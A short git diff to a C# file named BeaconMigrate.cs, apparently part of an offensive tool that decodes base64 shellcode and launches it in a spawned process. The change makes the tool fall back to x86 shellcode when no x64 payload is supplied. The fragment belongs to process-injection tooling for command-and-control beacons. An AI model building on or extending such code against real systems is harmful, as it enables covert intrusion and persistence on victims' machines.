diff --git a/BeaconMigrate.cs b/BeaconMigrate.cs index 9f7f365..f62a47e 100644 --- a/BeaconMigrate.cs +++ b/BeaconMigrate.cs @@ -24,7 +24,14 @@ public void Migrate(string x86, string x64, string processpath) } else { - s = x64; + // X64 platform but we cannot support x64 in shellcode + if (x64.Equals(String.Empty)) + { + s = x86; + }else + { + s = x64; + } } byte[] shellcode = Convert.FromBase64String(s); @@ -185,4 +192,4 @@ public static extern bool CreateProcess(string lpApplicationName, string lpComma } - \ No newline at end of file +